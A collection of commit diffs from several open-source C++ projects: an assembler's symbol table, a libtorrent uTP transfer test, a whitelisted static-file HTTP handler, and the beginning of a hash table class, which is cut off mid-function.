symbols.end())\n\t{\n\t\tSymbolInfo value = { LabelSymbol, labels.size() };\n\t\tsymbols[key] = value;\n\t\t\n\t\tLabel* result = new Label(symbol);\n\t\tif (section == actualSection)\n\t\t\tresult->setSection(section);\t\t\t\/\/ local, set section of parent\n\t\telse\n\t\t\tresult->setSection(actualSection+1);\t\/\/ global, set section of children\n\t\tlabels.push_back(result);\n\t\treturn result;\n\t}\n\n\t\/\/ make sure not to match symbols that aren't labels\n\tif (it->second.type != LabelSymbol)\n\t\treturn NULL;\n\n\treturn labels[it->second.index];\n}\n\nbool SymbolTable::symbolExists(const std::wstring& symbol, unsigned int file, unsigned int section)\n{\n\tif (isValidSymbolName(symbol) == false)\n\t\treturn false;\n\n\tsetFileSectionValues(symbol,file,section);\n\n\tSymbolKey key = { symbol, file, section };\n\tauto it = symbols.find(key);\n\treturn it != symbols.end();\n}\n\nbool SymbolTable::isValidSymbolName(const std::wstring& symbol)\n{\n\tsize_t size = symbol.size();\n\tsize_t start = 0;\n\n\t\/\/ don't match empty names\n\tif (size == 0 || symbol.compare(L\"@\") == 0 || symbol.compare(L\"@@\") == 0)\n\t\treturn false;\n\n\tif (symbol[0] == '@')\n\t{\n\t\tstart++;\n\t\tif (size > 1 && symbol[1] == '@')\n\t\t\tstart++;\n\t}\n\n\tif (symbol[start] >= '0' && symbol[start] <= '9')\n\t\treturn false;\n\n\tfor (size_t i = start; i < size; i++)\n\t{\n\t\tif (wcschr(validSymbolCharacters,symbol[i]) == NULL)\n\t\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nbool SymbolTable::isValidSymbolCharacter(wchar_t character, bool first)\n{\n\tcharacter = towlower(character);\n\tif (character >= 'a' && character <= 'z') return true;\n\tif (!first && character >= '0' && character <= '9') return true;\n\tif (character == '_' || character == '.') return true;\n\tif (character == '@') return true;\n\treturn false;\n}\n\nbool SymbolTable::addEquation(const std::wstring& name, unsigned int file, unsigned int section, std::wstring& replacement)\n{\n\tif (isValidSymbolName(name) == false)\n\t\treturn false;\n\n\tif (symbolExists(name,file,section))\n\t\treturn false;\n\t\n\tsetFileSectionValues(name,file,section);\n\n\tSymbolKey key = { name, file, section };\n\tSymbolInfo value = { EquationSymbol, equations.size() };\n\tsymbols[key] = value;\n\n\tEquation equation = { name, replacement, file, section };\n\tequations.push_back(equation);\n\treturn true;\n}\n\nstd::wstring SymbolTable::insertEquations(const std::wstring& line, unsigned int file, unsigned int section)\n{\n\tstd::wstring result;\n\n\tsize_t pos = 0;\n\twhile (pos < line.size())\n\t{\n\t\tif (line[pos] != '@' && !isValidSymbolCharacter(line[pos]))\n\t\t{\n\t\t\tresult += line[pos++];\n\t\t\tcontinue;\n\t\t}\n\n\t\tsize_t start = pos++;\n\t\twhile (line[pos] == '@' && pos < line.size())\n\t\t\tpos++;\n\t\twhile (isValidSymbolCharacter(line[pos]) && pos < line.size())\n\t\t\tpos++;\n\n\t\tstd::wstring word = line.substr(start,pos-start);\n\t\tbool found = false;\n\t\tfor (size_t i = 0; i < equations.size(); i++)\n\t\t{\n\t\t\tconst Equation& eq = equations.at(i);\n\t\t\tif ((eq.file == -1 || eq.file == file) &&\n\t\t\t\t(eq.section == -1 || eq.section == section))\n\t\t\t{\n\t\t\t\tif (eq.key.size() != word.size())\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif (eq.key != word)\n\t\t\t\t\tcontinue;\n\t\t\t\t\n\t\t\t\tresult += eq.value;\n\t\t\t\tfound = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (!found)\n\t\t\tresult += word;\n\t}\n\n\treturn result;\n}\n\n\/\/ TODO: better\nstd::wstring SymbolTable::getUniqueLabelName()\n{\n\treturn formatString(L\"__armips_label_%08X__\",uniqueCount++);\n}\n\nvoid SymbolTable::addLabels(const std::vector<LabelDefinition>& labels)\n{\n\tint lastSection = 0;\n\tfor (const LabelDefinition& def: labels)\n\t{\n\t\tif (!isValidSymbolName(def.name))\n\t\t\tcontinue;\n\n\t\tLabel* label = getLabel(def.name,(unsigned int)Global.FileInfo.FileNum,Global.Section);\n\t\tif (label == NULL)\n\t\t\tcontinue;\n\n\t\tif (isLocalSymbol(def.name) == false)\n\t\t\tGlobal.Section++;\n\n\t\tlabel->setDefined(true);\n\t\tlabel->setValue(def.value);\n\t}\n}\n\nint SymbolTable::findSection(u64 address)\n{\n\tint smallestBefore = -1;\n\tint smallestDiff = 0x7FFFFFFF;\n\n\tfor (auto& lab: labels)\n\t{\n\t\tint diff = (int)(address-lab->getValue());\n\t\tif (diff >= 0 && diff < smallestDiff)\n\t\t{\n\t\t\tsmallestDiff = diff;\n\t\t\tsmallestBefore = lab->getSection();\n\t\t}\n\t}\n\n\treturn smallestBefore;\n}<commit_msg>Optimize isValidSymbolCharacter().<commit_after>#include \"stdafx.h\"\n#include \"Core\/SymbolTable.h\"\n#include \"Util\/FileClasses.h\"\n#include \"Util\/Util.h\"\n#include \"Common.h\"\n\nconst wchar_t validSymbolCharacters[] = L\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.\";\n\nbool operator<(SymbolKey const& lhs, SymbolKey const& rhs)\n{\n\tif (lhs.file != rhs.file)\n\t\treturn lhs.file < rhs.file;\n\tif (lhs.section != rhs.section)\n\t\treturn lhs.section < rhs.section;\n\treturn lhs.name.compare(rhs.name) < 0;\n}\n\nSymbolTable::SymbolTable()\n{\n\tuniqueCount = 0;\n}\n\nSymbolTable::~SymbolTable()\n{\n\tclear();\n}\n\nvoid SymbolTable::clear()\n{\n\tfor (size_t i = 0; i < labels.size(); i++)\n\t{\n\t\tdelete labels[i];\n\t}\n\n\tsymbols.clear();\n\tlabels.clear();\n\tequations.clear();\n\tuniqueCount = 0;\n}\n\nvoid SymbolTable::setFileSectionValues(const std::wstring& symbol, unsigned int& file, unsigned int& section)\n{\n\tif (symbol[0] == '@')\n\t{\n\t\tif (symbol[1] != '@')\n\t\t{\n\t\t\t\/\/ static label, @. the section doesn't matter\n\t\t\tsection = -1;\n\t\t}\n\t} else {\n\t\t\/\/ global label. neither file nor section matters\n\t\tfile = section = -1;\n\t}\n}\n\nLabel* SymbolTable::getLabel(const std::wstring& symbol, unsigned int file, unsigned int section)\n{\n\tif (isValidSymbolName(symbol) == false)\n\t\treturn NULL;\n\n\tint actualSection = section;\n\tsetFileSectionValues(symbol,file,section);\n\tSymbolKey key = { symbol, file, section };\n\n\t\/\/ find label, create new one if it doesn't exist\n\tauto it = symbols.find(key);\n\tif (it == symbols.end())\n\t{\n\t\tSymbolInfo value = { LabelSymbol, labels.size() };\n\t\tsymbols[key] = value;\n\t\t\n\t\tLabel* result = new Label(symbol);\n\t\tif (section == actualSection)\n\t\t\tresult->setSection(section);\t\t\t\/\/ local, set section of parent\n\t\telse\n\t\t\tresult->setSection(actualSection+1);\t\/\/ global, set section of children\n\t\tlabels.push_back(result);\n\t\treturn result;\n\t}\n\n\t\/\/ make sure not to match symbols that aren't labels\n\tif (it->second.type != LabelSymbol)\n\t\treturn NULL;\n\n\treturn labels[it->second.index];\n}\n\nbool SymbolTable::symbolExists(const std::wstring& symbol, unsigned int file, unsigned int section)\n{\n\tif (isValidSymbolName(symbol) == false)\n\t\treturn false;\n\n\tsetFileSectionValues(symbol,file,section);\n\n\tSymbolKey key = { symbol, file, section };\n\tauto it = symbols.find(key);\n\treturn it != symbols.end();\n}\n\nbool SymbolTable::isValidSymbolName(const std::wstring& symbol)\n{\n\tsize_t size = symbol.size();\n\tsize_t start = 0;\n\n\t\/\/ don't match empty names\n\tif (size == 0 || symbol.compare(L\"@\") == 0 || symbol.compare(L\"@@\") == 0)\n\t\treturn false;\n\n\tif (symbol[0] == '@')\n\t{\n\t\tstart++;\n\t\tif (size > 1 && symbol[1] == '@')\n\t\t\tstart++;\n\t}\n\n\tif (symbol[start] >= '0' && symbol[start] <= '9')\n\t\treturn false;\n\n\tfor (size_t i = start; i < size; i++)\n\t{\n\t\tif (wcschr(validSymbolCharacters,symbol[i]) == NULL)\n\t\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nbool SymbolTable::isValidSymbolCharacter(wchar_t character, bool first)\n{\n\tif ((character >= 'a' && character <= 'z') || character >= 'A' && character <= 'Z') return true;\n\tif (!first && character >= '0' && character <= '9') return true;\n\tif (character == '_' || character == '.') return true;\n\tif (character == '@') return true;\n\treturn false;\n}\n\nbool SymbolTable::addEquation(const std::wstring& name, unsigned int file, unsigned int section, std::wstring& replacement)\n{\n\tif (isValidSymbolName(name) == false)\n\t\treturn false;\n\n\tif (symbolExists(name,file,section))\n\t\treturn false;\n\t\n\tsetFileSectionValues(name,file,section);\n\n\tSymbolKey key = { name, file, section };\n\tSymbolInfo value = { EquationSymbol, equations.size() };\n\tsymbols[key] = value;\n\n\tEquation equation = { name, replacement, file, section };\n\tequations.push_back(equation);\n\treturn true;\n}\n\nstd::wstring SymbolTable::insertEquations(const std::wstring& line, unsigned int file, unsigned int section)\n{\n\tstd::wstring result;\n\n\tsize_t pos = 0;\n\twhile (pos < line.size())\n\t{\n\t\tif (line[pos] != '@' && !isValidSymbolCharacter(line[pos]))\n\t\t{\n\t\t\tresult += line[pos++];\n\t\t\tcontinue;\n\t\t}\n\n\t\tsize_t start = pos++;\n\t\twhile (line[pos] == '@' && pos < line.size())\n\t\t\tpos++;\n\t\twhile (isValidSymbolCharacter(line[pos]) && pos < line.size())\n\t\t\tpos++;\n\n\t\tstd::wstring word = line.substr(start,pos-start);\n\t\tbool found = false;\n\t\tfor (size_t i = 0; i < equations.size(); i++)\n\t\t{\n\t\t\tconst Equation& eq = equations.at(i);\n\t\t\tif ((eq.file == -1 || eq.file == file) &&\n\t\t\t\t(eq.section == -1 || eq.section == section))\n\t\t\t{\n\t\t\t\tif (eq.key.size() != word.size())\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif (eq.key != word)\n\t\t\t\t\tcontinue;\n\t\t\t\t\n\t\t\t\tresult += eq.value;\n\t\t\t\tfound = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (!found)\n\t\t\tresult += word;\n\t}\n\n\treturn result;\n}\n\n\/\/ TODO: better\nstd::wstring SymbolTable::getUniqueLabelName()\n{\n\treturn formatString(L\"__armips_label_%08X__\",uniqueCount++);\n}\n\nvoid SymbolTable::addLabels(const std::vector<LabelDefinition>& labels)\n{\n\tint lastSection = 0;\n\tfor (const LabelDefinition& def: labels)\n\t{\n\t\tif (!isValidSymbolName(def.name))\n\t\t\tcontinue;\n\n\t\tLabel* label = getLabel(def.name,(unsigned int)Global.FileInfo.FileNum,Global.Section);\n\t\tif (label == NULL)\n\t\t\tcontinue;\n\n\t\tif (isLocalSymbol(def.name) == false)\n\t\t\tGlobal.Section++;\n\n\t\tlabel->setDefined(true);\n\t\tlabel->setValue(def.value);\n\t}\n}\n\nint SymbolTable::findSection(u64 address)\n{\n\tint smallestBefore = -1;\n\tint smallestDiff = 0x7FFFFFFF;\n\n\tfor (auto& lab: labels)\n\t{\n\t\tint diff = (int)(address-lab->getValue());\n\t\tif (diff >= 0 && diff < smallestDiff)\n\t\t{\n\t\t\tsmallestDiff = diff;\n\t\t\tsmallestBefore = lab->getSection();\n\t\t}\n\t}\n\n\treturn smallestBefore;\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/session.hpp\"\n#include \"libtorrent\/session_settings.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n#include \"libtorrent\/bencode.hpp\"\n#include \"libtorrent\/thread.hpp\"\n#include \"libtorrent\/time.hpp\"\n#include \"libtorrent\/file.hpp\"\n#include <boost\/tuple\/tuple.hpp>\n#include <boost\/bind.hpp>\n\n#include \"test.hpp\"\n#include \"setup_transfer.hpp\"\n#include <fstream>\n#include <iostream>\n\nusing namespace libtorrent;\nusing boost::tuples::ignore;\n\nvoid test_transfer()\n{\n\t\/\/ in case the previous run was terminated\n\terror_code ec;\n\tremove_all(\".\/tmp1_utp\", ec);\n\tremove_all(\".\/tmp2_utp\", ec);\n\n\tsession ses1(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(48885, 49930), \"0.0.0.0\", 0);\n\tsession ses2(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(49885, 50930), \"0.0.0.0\", 0);\n\n\tsession_settings sett;\n\n\tsett.enable_outgoing_tcp = false;\n\tsett.min_reconnect_time = 1;\n\tsett.announce_to_all_trackers = true;\n\tsett.announce_to_all_tiers = true;\n\t\/\/ make sure we announce to both http and udp trackers\n\tsett.prefer_udp_trackers = false;\n\n\t\/\/ for performance testing\n\/\/\tsett.disable_hash_checks = true;\n\/\/\tsett.utp_delayed_ack = 0;\n\n\t\/\/ disable this to use regular size packets over loopback\n\/\/\tsett.utp_dynamic_sock_buf = false;\n\n\tses1.set_settings(sett);\n\tses2.set_settings(sett);\n\n#ifndef TORRENT_DISABLE_ENCRYPTION\n\tpe_settings pes;\n\tpes.out_enc_policy = pe_settings::disabled;\n\tpes.in_enc_policy = pe_settings::disabled;\n\tses1.set_pe_settings(pes);\n\tses2.set_pe_settings(pes);\n#endif\n\n\ttorrent_handle tor1;\n\ttorrent_handle tor2;\n\n\tcreate_directory(\".\/tmp1_utp\", ec);\n\tstd::ofstream file(\".\/tmp1_utp\/temporary\");\n\tboost::intrusive_ptr<torrent_info> t = ::create_torrent(&file, 512 * 1024, 20, false);\n\tfile.close();\n\n\t\/\/ for performance testing\n\tadd_torrent_params atp;\n\/\/\tatp.storage = &disabled_storage_constructor;\n\n\t\/\/ test using piece sizes smaller than 16kB\n\tboost::tie(tor1, tor2, ignore) = setup_transfer(&ses1, &ses2, 0\n\t\t, true, false, true, \"_utp\", 0, &t, false, &atp);\n\n\tfor (int i = 0; i < 300; ++i)\n\t{\n\t\tprint_alerts(ses1, \"ses1\", true, true, true);\n\t\tprint_alerts(ses2, \"ses2\", true, true, true);\n\n\t\ttorrent_status st1 = tor1.status();\n\t\ttorrent_status st2 = tor2.status();\n\n\t\tstd::cerr\n\t\t\t<< \"\\033[32m\" << int(st1.download_payload_rate \/ 1000.f) << \"kB\/s \"\n\t\t\t<< \"\\033[33m\" << int(st1.upload_payload_rate \/ 1000.f) << \"kB\/s \"\n\t\t\t<< \"\\033[0m\" << int(st1.progress * 100) << \"% \"\n\t\t\t<< st1.num_peers\n\t\t\t<< \": \"\n\t\t\t<< \"\\033[32m\" << int(st2.download_payload_rate \/ 1000.f) << \"kB\/s \"\n\t\t\t<< \"\\033[31m\" << int(st2.upload_payload_rate \/ 1000.f) << \"kB\/s \"\n\t\t\t<< \"\\033[0m\" << int(st2.progress * 100) << \"% \"\n\t\t\t<< st2.num_peers\n\t\t\t<< \" cc: \" << st2.connect_candidates\n\t\t\t<< std::endl;\n\n\t\tif (st2.is_finished) break;\n\n\t\ttest_sleep(500);\n\n\t\tTEST_CHECK(st1.state == torrent_status::seeding\n\t\t\t|| st1.state == torrent_status::checking_files);\n\t\tTEST_CHECK(st2.state == torrent_status::downloading);\n\t}\n\n\tTEST_CHECK(tor1.status().is_finished);\n\tTEST_CHECK(tor2.status().is_finished);\n}\n\nint test_main()\n{\n\tusing namespace libtorrent;\n\n\ttest_transfer();\n\t\n\terror_code ec;\n\tremove_all(\".\/tmp1_utp\", ec);\n\tremove_all(\".\/tmp2_utp\", ec);\n\n\treturn 0;\n}\n\n<commit_msg>make test_utp more likely to pass<commit_after>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/session.hpp\"\n#include \"libtorrent\/session_settings.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n#include \"libtorrent\/bencode.hpp\"\n#include \"libtorrent\/thread.hpp\"\n#include \"libtorrent\/time.hpp\"\n#include \"libtorrent\/file.hpp\"\n#include <boost\/tuple\/tuple.hpp>\n#include <boost\/bind.hpp>\n\n#include \"test.hpp\"\n#include \"setup_transfer.hpp\"\n#include <fstream>\n#include <iostream>\n\nusing namespace libtorrent;\nusing boost::tuples::ignore;\n\nvoid test_transfer()\n{\n\t\/\/ in case the previous run was terminated\n\terror_code ec;\n\tremove_all(\".\/tmp1_utp\", ec);\n\tremove_all(\".\/tmp2_utp\", ec);\n\n\tsession ses1(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(48885, 49930), \"0.0.0.0\", 0);\n\tsession ses2(fingerprint(\"LT\", 0, 1, 0, 0), std::make_pair(49885, 50930), \"0.0.0.0\", 0);\n\n\tsession_settings sett;\n\n\tsett.enable_outgoing_tcp = false;\n\tsett.min_reconnect_time = 1;\n\tsett.announce_to_all_trackers = true;\n\tsett.announce_to_all_tiers = true;\n\t\/\/ make sure we announce to both http and udp trackers\n\tsett.prefer_udp_trackers = false;\n\n\t\/\/ for performance testing\n\/\/\tsett.disable_hash_checks = true;\n\/\/\tsett.utp_delayed_ack = 0;\n\n\t\/\/ disable this to use regular size packets over loopback\n\/\/\tsett.utp_dynamic_sock_buf = false;\n\n\tses1.set_settings(sett);\n\tses2.set_settings(sett);\n\n#ifndef TORRENT_DISABLE_ENCRYPTION\n\tpe_settings pes;\n\tpes.out_enc_policy = pe_settings::disabled;\n\tpes.in_enc_policy = pe_settings::disabled;\n\tses1.set_pe_settings(pes);\n\tses2.set_pe_settings(pes);\n#endif\n\n\ttorrent_handle tor1;\n\ttorrent_handle tor2;\n\n\tcreate_directory(\".\/tmp1_utp\", ec);\n\tstd::ofstream file(\".\/tmp1_utp\/temporary\");\n\tboost::intrusive_ptr<torrent_info> t = ::create_torrent(&file, 512 * 1024, 20, false);\n\tfile.close();\n\n\t\/\/ for performance testing\n\tadd_torrent_params atp;\n\/\/\tatp.storage = &disabled_storage_constructor;\n\n\t\/\/ test using piece sizes smaller than 16kB\n\tboost::tie(tor1, tor2, ignore) = setup_transfer(&ses1, &ses2, 0\n\t\t, true, false, true, \"_utp\", 0, &t, false, &atp);\n\n\tfor (int i = 0; i < 300; ++i)\n\t{\n\t\tprint_alerts(ses1, \"ses1\", true, true, true);\n\t\tprint_alerts(ses2, \"ses2\", true, true, true);\n\n\t\ttest_sleep(500);\n\n\t\ttorrent_status st1 = tor1.status();\n\t\ttorrent_status st2 = tor2.status();\n\n\t\tstd::cerr\n\t\t\t<< \"\\033[32m\" << int(st1.download_payload_rate \/ 1000.f) << \"kB\/s \"\n\t\t\t<< \"\\033[33m\" << int(st1.upload_payload_rate \/ 1000.f) << \"kB\/s \"\n\t\t\t<< \"\\033[0m\" << int(st1.progress * 100) << \"% \"\n\t\t\t<< st1.num_peers\n\t\t\t<< \": \"\n\t\t\t<< \"\\033[32m\" << int(st2.download_payload_rate \/ 1000.f) << \"kB\/s \"\n\t\t\t<< \"\\033[31m\" << int(st2.upload_payload_rate \/ 1000.f) << \"kB\/s \"\n\t\t\t<< \"\\033[0m\" << int(st2.progress * 100) << \"% \"\n\t\t\t<< st2.num_peers\n\t\t\t<< \" cc: \" << st2.connect_candidates\n\t\t\t<< std::endl;\n\n\t\tif (st2.is_finished) break;\n\n\t\tTEST_CHECK(st1.state == torrent_status::seeding\n\t\t\t|| st1.state == torrent_status::checking_files);\n\t\tTEST_CHECK(st2.state == torrent_status::downloading);\n\t}\n\n\tTEST_CHECK(tor1.status().is_finished);\n\tTEST_CHECK(tor2.status().is_finished);\n}\n\nint test_main()\n{\n\tusing namespace libtorrent;\n\n\ttest_transfer();\n\t\n\terror_code ec;\n\tremove_all(\".\/tmp1_utp\", ec);\n\tremove_all(\".\/tmp2_utp\", ec);\n\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <set>\n#include <string>\n#include <fstream>\n#include <streambuf>\n\n#include \"errors.hpp\"\n#include <boost\/bind.hpp>\n\n#include \"arch\/runtime\/thread_pool.hpp\"   \/* for `run_in_blocker_pool()` *\/\n#include \"http\/file_app.hpp\"\n#include \"logger.hpp\"\n#include \"stl_utils.hpp\"\n\nfile_http_app_t::file_http_app_t(std::set<std::string> _whitelist, std::string _asset_dir)\n    : whitelist(_whitelist), asset_dir(_asset_dir)\n{ }\n\nhttp_res_t file_http_app_t::handle(const http_req_t &req) {\n    if (req.method != GET) {\n        \/* Method not allowed. *\/\n        return http_res_t(405);\n    }\n    std::string resource(req.resource.as_string());\n    if (resource != \"\/\" && resource != \"\" && !std_contains(whitelist, resource)) {\n        logINF(\"Someone asked for the nonwhitelisted file %s, if this should be accessible add it to the whitelist.\", resource.c_str());\n        return http_res_t(403);\n    }\n\n    http_res_t res;\n    std::string filename;\n\n    if (resource == \"\/\" || resource == \"\") {\n        filename = \"\/index.html\";\n    } else {\n        filename = resource;\n    }\n\n    thread_pool_t::run_in_blocker_pool(boost::bind(&file_http_app_t::handle_blocking, this, filename, &res));\n\n    if (res.code == 404) {\n        logINF(\"File %s was requested and is on the whitelist but we didn't find it in the directory.\", (asset_dir + filename).c_str());\n    }\n    if (res.code >= 400) {\n        return http_res_t(res.code);\n    }\n\n    return res;\n}\n\nvoid file_http_app_t::handle_blocking(std::string filename, http_res_t *res_out) {\n    \/\/ FIXME: make sure that we won't walk out of our sandbox! Check symbolic links, etc.\n    std::ifstream f((asset_dir + filename).c_str());\n\n    if (f.fail()) {\n        res_out->code = 404;\n        return;\n    }\n\n    f.seekg(0, std::ios::end);\n\n    if (f.fail()) {\n        goto INTERNAL_ERROR;\n    }\n\n    res_out->body.reserve(f.tellg());\n\n    if (f.fail()) {\n        goto INTERNAL_ERROR;\n    }\n\n    f.seekg(0, std::ios::beg);\n\n    if (f.fail()) {\n        goto INTERNAL_ERROR;\n    }\n\n    res_out->body.assign((std::istreambuf_iterator<char>(f)),\n                          std::istreambuf_iterator<char>());\n\n    res_out->code = 200;\n\n    return;\n\nINTERNAL_ERROR:\n    res_out->code = 500;\n}\n<commit_msg>remove useless branch<commit_after>#include <set>\n#include <string>\n#include <fstream>\n#include <streambuf>\n\n#include \"errors.hpp\"\n#include <boost\/bind.hpp>\n\n#include \"arch\/runtime\/thread_pool.hpp\"   \/* for `run_in_blocker_pool()` *\/\n#include \"http\/file_app.hpp\"\n#include \"logger.hpp\"\n#include \"stl_utils.hpp\"\n\nfile_http_app_t::file_http_app_t(std::set<std::string> _whitelist, std::string _asset_dir)\n    : whitelist(_whitelist), asset_dir(_asset_dir)\n{ }\n\nhttp_res_t file_http_app_t::handle(const http_req_t &req) {\n    if (req.method != GET) {\n        \/* Method not allowed. *\/\n        return http_res_t(405);\n    }\n    std::string resource(req.resource.as_string());\n    if (resource != \"\/\" && resource != \"\" && !std_contains(whitelist, resource)) {\n        logINF(\"Someone asked for the nonwhitelisted file %s, if this should be accessible add it to the whitelist.\", resource.c_str());\n        return http_res_t(403);\n    }\n\n    http_res_t res;\n    std::string filename;\n\n    if (resource == \"\/\" || resource == \"\") {\n        filename = \"\/index.html\";\n    } else {\n        filename = resource;\n    }\n\n    thread_pool_t::run_in_blocker_pool(boost::bind(&file_http_app_t::handle_blocking, this, filename, &res));\n\n    if (res.code == 404) {\n        logINF(\"File %s was requested and is on the whitelist but we didn't find it in the directory.\", (asset_dir + filename).c_str());\n    }\n\n    return res;\n}\n\nvoid file_http_app_t::handle_blocking(std::string filename, http_res_t *res_out) {\n    \/\/ FIXME: make sure that we won't walk out of our sandbox! Check symbolic links, etc.\n    std::ifstream f((asset_dir + filename).c_str());\n\n    if (f.fail()) {\n        res_out->code = 404;\n        return;\n    }\n\n    f.seekg(0, std::ios::end);\n\n    if (f.fail()) {\n        goto INTERNAL_ERROR;\n    }\n\n    res_out->body.reserve(f.tellg());\n\n    if (f.fail()) {\n        goto INTERNAL_ERROR;\n    }\n\n    f.seekg(0, std::ios::beg);\n\n    if (f.fail()) {\n        goto INTERNAL_ERROR;\n    }\n\n    res_out->body.assign((std::istreambuf_iterator<char>(f)),\n                          std::istreambuf_iterator<char>());\n\n    res_out->code = 200;\n\n    return;\n\nINTERNAL_ERROR:\n    res_out->code = 500;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"gb-include.h\"\n\n#include \"HashTable.h\"\n\nHashTable::HashTable () {\n\tm_keys = NULL;\n\tm_vals = NULL;\n\tm_numSlots     = 0;\n\tm_numSlotsUsed = 0;\n\tm_doFree       = true;\n\tm_label = NULL;\n}\n\n\/\/ returns false and sets errno on error\nbool HashTable::set ( long initialNumTerms , char *buf , long bufSize ,\n\t\t      char *label ) {\n\treset();\n\tm_label = label;\n\tif ( ! m_label ) m_label = \"hashtablekv\";\n\treturn setTableSize ( initialNumTerms , buf , bufSize );\n}\n\nHashTable::~HashTable ( ) { reset ( ); }\n\n\/\/ . call clean() to do a more careful reset\n\/\/ . clean will rehash\nvoid HashTable::reset ( ) {\n\tif ( m_doFree ) {\n\t\tif (m_keys) mfree(m_keys,m_numSlots*sizeof(long),m_label);\n\t\tif (m_vals) mfree(m_vals,m_numSlots*sizeof(long),m_label);\n\t}\n\tm_keys = NULL;\n\tm_vals = NULL;\n\tm_numSlots     = 0;\n\tm_numSlotsUsed = 0;\n\t\/\/ do not do this because then ::load() fails b\/c you can't\n\t\/\/ pass a label into that yet\n\t\/\/m_label = NULL;\n}\n\nvoid HashTable::clear ( ) {\n\t\/\/ vacate all slots\n\tif ( m_keys ) memset ( m_keys , 0 , sizeof(long) * m_numSlots );\n\tm_numSlotsUsed = 0;\n}\t \n\n\/\/ . returns the slot number for \"key\"\n\/\/ . returns -1 if key not in hash table\nlong HashTable::getOccupiedSlotNum ( long key ) {\n\tif ( m_numSlots <= 0 ) return -1;\n        \/\/long n = ((unsigned long)key) % ((unsigned long)m_numSlots);\n        long n = ((unsigned long)key) & m_mask;\n        long count = 0;\n        while ( count++ < m_numSlots ) {\n                if ( m_keys [ n ] == 0   ) return -1;\n\t\tif ( m_keys [ n ] == key ) return  n;\n\t\tif ( ++n == m_numSlots ) n = 0;\n        }\n        log(\"hashtable: Could not get key. Table is full.\");\n        return -1;\n}\n\n\/\/ return 0 if key not in hash table\nlong HashTable::getValue ( long key ) {\n\t\/\/ returns -1 if key not in hash table\n\tlong n = getOccupiedSlotNum ( key );\n\tif ( n < 0 ) return 0;\n\treturn m_vals[n];\n}\n\n\/\/ . returns false and sets errno on error, returns true otherwise\n\/\/ . adds scores if termId already exists in table\nbool HashTable::addKey ( long key , long value , long *slot ) {\n\t\/\/ keys of 0 mean empty! they are reserved... fix that!\n\tif ( key == 0 ) { char *xx=NULL; *xx=0; }\n\t\/\/ check to see if we should grow the table\n\tif ( 100 * m_numSlotsUsed >= m_numSlots * 90 ) {\n\t\tlong growTo = 